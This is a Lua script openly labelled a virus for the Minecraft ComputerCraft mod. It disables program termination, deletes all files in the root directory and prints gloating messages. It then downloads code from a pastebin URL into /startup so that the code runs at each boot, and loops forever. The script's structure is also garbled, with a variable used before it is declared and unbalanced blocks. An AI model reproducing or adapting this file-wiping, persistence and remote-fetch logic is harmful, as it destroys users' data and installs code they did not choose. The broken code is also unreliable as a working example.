ComputerCraft Virus Test

os.pullEvent = os.pullEventRaw
function main2()
  local rnd = math.random(1,1000000)
  if tbl[rnd] == "rom" then
    table.remove(tbl,tonumber(rnd))
    function main()
for i,v in pairs(tbl) do
  fs.delete(v)
end

term.clear()
term.setCursorPos(1,1)
textutils.slowPrint("'I used to want you dead")
textutils.slowPrint("but now I only want you gone.'")
textutils.slowPrint("- GLaDOS 2011")
sleep(3)
term.clear()
term.setCursorPos(1,1)
textutils.slowPrint("You're files are gone now.")
textutils.slowPrint("There is no getting them back.")
textutils.slowPrint("Now, your computer is as dead as")
textutils.slowPrint("brick.")
stream = http.get("http://pastebin.com/raw.php?i=535AYgZK").readAll()
f = fs.open("/startup","w")
f.writeLine(stream)
f.close()

if peripheral.find("iron_note") then
  local s = peripheral.find("iron_note")
  while true do
    s.playNote(0,24)
    sleep(2)
    s.playNote(0,20)
    sleep(2)
    s.playNote(0,10)
    sleep(2)
  end
else
  while true do
    sleep(100)
  end
end
end
    main()
  end
end

local tbl = fs.list("/")


  if fs.exists("/moarp") then
  while true do
  local rnd = math.random(1,1000000)
   if tbl[rnd] == "moarp" then
   table.remove(tbl,tonumber(rnd))
main2()
end
else
main2()
end